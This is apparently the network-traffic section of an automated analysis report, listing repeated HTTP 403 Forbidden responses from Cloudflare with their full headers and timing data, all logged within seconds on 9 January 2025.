Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:02 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:17 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BOu9c9WhK7j3x3MUK2rw5D4RgKoRpSRpCrErlpL2Xd0dPvLwP8EWGnrJLHwnMtiIuChH17BYEoWIwTqLl72pp%2Fnn8PsvytrfHWM6i4Gmf9P0vpJ2QqQOlLGAwcQFh2i7u2fGFVbu8Qua25nk"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9b53a9d432c-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1758&min_rtt=1750&rtt_var=673&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1607044&cwnd=193&unsent_bytes=0&cid=c4bf93c1d866fb08&ts=154&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:03 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:18 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ghN6Wo2NnLS4no%2FwPjFyc9L9E0Xh5kICpNJvOHICktsMeLus7FHxez0BwGf6BK6AnlN%2FWksXXOHZfkS8RMSYUvKINzpBKP2JVfQkuXxtw2BPkqyJ7zyHYYgz8408eHpejb6U2r72FfxrQYgv"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9b8dc710f3b-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1521&min_rtt=1500&rtt_var=605&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1745367&cwnd=215&unsent_bytes=0&cid=10d9af529093bd40&ts=126&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:03 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:18 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mFBVBRjNnGwmw1OhHAs%2BQhw6t2iQpPHzGapT6IV96NlJk2mT%2F%2BFc4AvqNql8O21kcUeC90mAKxGE7zFFqYwOictnr35kuuTvZhvgS74T3fWLBjjDjyCjE8ObNr%2BsbdQsXiA4oOTZ%2BpmAUDNk"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9bc9b0f4285-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1862&min_rtt=1859&rtt_var=703&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1550716&cwnd=32&unsent_bytes=0&cid=9d38bbcbf53ede9e&ts=134&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:04 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:19 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZEb432yDB9IsCQRLSqg0gHiG%2F0cBclyAPRekiaj5%2BNHdIE7U1Ljoyl%2BqYW4daE8KwPDYvWQ%2Blhi4gEpEr6EfSUVgLDgtfqM7gQ%2BkptwhIwJb7dOhus921qCQtShBeyj5DbvslyiXiKG6l9BR"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9c07f150f81-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1635&min_rtt=1631&rtt_var=620&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1754807&cwnd=241&unsent_bytes=0&cid=4eb923f53b15a00f&ts=149&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:04 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:19 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wwCYsA50d8GNygEJngAuktqkanlq3QO9mIMyRA7gTkb7JyPgWQqDl5FhZrkEcirjs6P51BLt5qKAjluzlgWrJGd9%2BHUTcOGSz5im1p2SX4a63Ec7DffraaooMUHX5nFuauIXp2nkF5b6RDVu"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9c43ffec343-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1454&min_rtt=1442&rtt_var=565&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1894873&cwnd=208&unsent_bytes=0&cid=5d36bf2be3466434&ts=131&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:05 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:20 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mrw1zT14TF1h1wdnf3foMMMoTr4So4tgIctm9D6eLK9U%2BK2t%2FczWcXzCUpC0Em6lReozF9I5ZzX5LxTSxKekwcct1zBdbFXbP5%2BeRugnKYp5KUrzPbZYQy5uR5c9jAneGi8Z5Hq%2FkWyteh68"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9c82c517c8d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1899&min_rtt=1891&rtt_var=725&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1493606&cwnd=185&unsent_bytes=0&cid=930de1eec87139a6&ts=152&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:06 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:21 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=thSOmRxbO4fGY0WxwxRgAb1GCAcbB7259MWimhFtsp5%2FBAlwQvNHfBeaKMZRoTBQ4SStTzRVVzx67RGqhBqHVIGXPvN%2Ba5DYZQR4M8IP2YfLvr6xt9bYyiKYpGm7WgfjM7I6Gd5C%2Bc5CKAwv"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9ccf9e29e08-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2035&min_rtt=2033&rtt_var=768&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1420924&cwnd=163&unsent_bytes=0&cid=dd9c30ddcff4ccd3&ts=151&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:07 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:22 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kxNivZU4j9xh3nGKBpsInJ6ScxKC%2FOg8WZu6zztK35USOQiO%2FZvtbiruDB7YolnpxTILdqCO4MrKcX8pxJNpRmq6pGAej2wn8F4JwoQewS4VSDBGF3XGe8QrULMlpcO%2Bz%2FJ%2Bt8M0i9MC7YJ8"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9d0ea123320-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1955&min_rtt=1939&rtt_var=760&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1409266&cwnd=252&unsent_bytes=0&cid=eba383da7105df49&ts=138&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:07 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:22 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3IBoNSxNP7BuGR7gWf0NjmAQqcTvxen4NgiOC7J0%2FBU%2BF1DYInASyA0e69Q%2BBGY4gcbVujzYLFzxrNUGxbOBEYQzV295jYJNEh940OT6SUCNHlBEFFN7YcDQbZk2%2B5A0CET7mdWmqP4JmhI8"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9d4cbdc41e6-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1782&min_rtt=1747&rtt_var=680&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1671436&cwnd=182&unsent_bytes=0&cid=becd470996fe823c&ts=144&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:08 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:23 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I%2Fy7XdhrNL7q8jqZbPzGdEqlRJgrIEN64VigGbZCyLWaTsa%2Bhc54KcTI3Ncd8pWPuTOyvGqPmQvqah8vTub8ZXyQkH9jUq8ChQdaKWy9fLbkOKbvIR1RzdV2a5TmwpXQ80xL8X7PETmiUAPs"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9d93eae4268-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2356&min_rtt=2342&rtt_var=888&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1246797&cwnd=252&unsent_bytes=0&cid=acfd70a3095c83e7&ts=155&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:09 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:24 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GouJMybUQTE%2FdN57vNmZ2CoT9GESNdnwfAjO3zXbBjHf2nlE8%2BFvstr%2B6pvlM7Kx7ACiyjZSDY8HPzzHgcRZ9SguaI1gPyrLfOoi00Jai8kL6T2qgiVsFgou8v0H0Htj%2BLztlfjlEmsqK4%2Fg"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9ddc90442f7-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1730&min_rtt=1730&rtt_var=649&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1684939&cwnd=179&unsent_bytes=0&cid=e0658b8a3426fbaf&ts=140&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:09 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:24 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hTmAYHDd%2FOwyDmB%2FUhSIBinqCDwr1P4gSGiDx6S%2Ff6nAdORW7SFGcd%2Fl%2B3oPOFVN7XvTqrLguxfoQKF4EsOb11TGM86zzsBsTFK2TaWHzgi1ncmAuAxUs0K9nT0F50efq3%2FJF7F4GUs8BKwb"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9e18e270f6b-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1692&min_rtt=1629&rtt_var=656&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1792510&cwnd=210&unsent_bytes=0&cid=4e907a588e5067d7&ts=130&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:10 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:25 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BisESrjnOBV4zbn%2FkEHDiPX7XNoDI6T%2BL30GWAuDjVwaiy6RFDpHO9KP%2Fc46NwQisMlegm2LrdQY6DQRCrb2ROezswA%2F5uf4%2BxTTWBD%2FuY8WhX3n%2BWkx1fLeIXjt5x4LZrGaRXZ9Bb738iHU"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9e55e8f4270-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1812&min_rtt=1721&rtt_var=711&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1696687&cwnd=225&unsent_bytes=0&cid=af95dd73ecae78b7&ts=139&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:10 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:25 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gIUtw0Ngk9UG2HvQKoBflFoUgEotjtapVVFXRPQHHDIBgrNpF1uJccvAougWtYMTFnvIwEbMd6KUzQ4gTsRRlIuJaEyDUpXNaQj7qyrUNygZYytKGDLrVEpDheps%2FabqULcsurcw0dUo2N0x"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9e959764249-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1670&min_rtt=1667&rtt_var=632&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1722713&cwnd=232&unsent_bytes=0&cid=a7c32689f6780654&ts=152&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:11 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:26 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=We4MzfHxAosB5X9WgdexeN26XdjTFQ6CfLm651Hro5Xql4M7aGcabm3GXl5UBPBLyy%2B6IN%2BzBjKN3HGUVMb4yocardLYF3aNb3lfirV7RibHRUxrq8YIK%2BwlIjrgraimNGPwtmGt%2B3EqFMY3"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9ed6e17f797-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1636&min_rtt=1628&rtt_var=627&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1722713&cwnd=162&unsent_bytes=0&cid=272636026067ee46&ts=148&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:12 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:27 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jqhnQ%2BU%2FFIf8MOGTQF0d2GNB0mv0FXjffYrfcv2YBQiWhTOeJSmeQhOL8gnhC9dKTOdaT%2FFZWm1ept5mC6mXf%2FGcVUDPNhZb9uhi8I8AUCHeB6nVa8YXe6r0QH750ySAfUlZ4cUcfI0z7kNH"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9f13b2a78e1-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2024&min_rtt=2018&rtt_var=770&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1409266&cwnd=203&unsent_bytes=0&cid=992d8067e2c4f3ac&ts=134&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:12 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:27 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JboJ%2F171oLwIrKcFpiIUBGOmqeodBD%2FnCOHIVE5YlmeIMRfc6o6iEqBXL%2Bss%2FpUKxQyxmgcXFMisBlmOaA2cJHZIpcqY6YqYu1jV2toHugPHHdycAImxv9C%2Fothrdw38knPfzp45t0DJeOum"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9f52b064315-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1641&min_rtt=1641&rtt_var=616&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1775075&cwnd=218&unsent_bytes=0&cid=55d3b19bcda80f39&ts=149&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:13 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:28 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=emvwot3XHnwlA4iJ8uj0jNO%2BqyEnW8R1i7bmZs5hKmteFT3RtF5eQHZ%2BSo%2BVJ4yvApEYmr94ntgJuQJq5Ub7S%2F4HYMv98%2F%2BmDxA3e2c5kI4CAz8QyPS4b0C5Y3UqKIzjMhfCoshBD571Js%2BC"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9f8f8510f79-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1615&min_rtt=1603&rtt_var=626&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1715628&cwnd=242&unsent_bytes=0&cid=7f5b7759e46e21e3&ts=129&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:14 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:29 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NqnvTy5yAzsVfv84gaUxPwHsrd2dvYPrdHbKRwzfXisyCmyD0QNZKHGzOqbJad77ZinIrZisxH5FYSr4wZl9SfH0T3qixJSxlWhzTGBKC9x526hYgxnvVMTajgFSbDAjlTvsUnlg2DbFq1zq"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9fcca315e79-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1744&min_rtt=1744&rtt_var=654&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1674311&cwnd=225&unsent_bytes=0&cid=5af2b31aa010df80&ts=147&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:14 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:29 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eAJf2vVf641koifbVlNe8rURampYocQEInPkz6WagFBIYk8vwCNjssWQB60FC9UnPy1DoNaI6Mvo2Ct9upBMBp66h1MDrC3eqcL6Bsvns9Ajuv1KxiySqubLMTAzOXvGGtm9ugSVg8PW2syi"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba009f4f4271-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1723&min_rtt=1713&rtt_var=662&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1627647&cwnd=252&unsent_bytes=0&cid=ed61f4bf2d3000f0&ts=146&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:15 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:30 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q9jd6TAKGE8qsg5wQbffLJyjXCW0fYQxUdr1Sc9i3hjhjlWbF5F%2FGS5SaO20TmrCiYh8wxL49DnWDLTDtNs0lqH2%2FxJinpGecsPELWOQOVgzW6LyyXxrbumgKJpmyUO%2FS19YnZKqzvwJXB4T"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba0478784219-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2677&min_rtt=2659&rtt_var=1010&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1098157&cwnd=193&unsent_bytes=0&cid=3dfeaf7649dd7821&ts=152&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:15 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:30 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TqkhOR%2BaVQYzOQzUHtO4r4UYJYAoHQJ2flSLmU%2BjMQmN%2B5P05G4k9Sb%2BjdG%2FIyCo4lL%2B%2FVCoV1ScyNdJgEfBrIw5d%2FHj8Z0qjOolDzBBPgELKWpdKK4iOPZo6n%2F8dFdwFCpYG0RX3PLaKHGk"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba082d7b0fa1-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1650&min_rtt=1639&rtt_var=637&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1689814&cwnd=252&unsent_bytes=0&cid=c004e2639d40f8de&ts=129&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:16 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:31 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uATCX38PdotohcG3hnktTKMkiRr30mBbKZNGo59WRrfw%2BvRH0AMn2bp9JpeFHZuAyw6Ya5pyCVZf1mkdymTAObV6FtFpjofCVp0jgecjNtxYxsESUb%2F8kpN%2BdgeVgAHM4vqQM1XRihUJQl%2Bl"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba0bce444321-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1634&min_rtt=1634&rtt_var=614&sent=3&recv=5&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1779402&cwnd=249&unsent_bytes=0&cid=95a136e4b8b12ef3&ts=128&x=0"
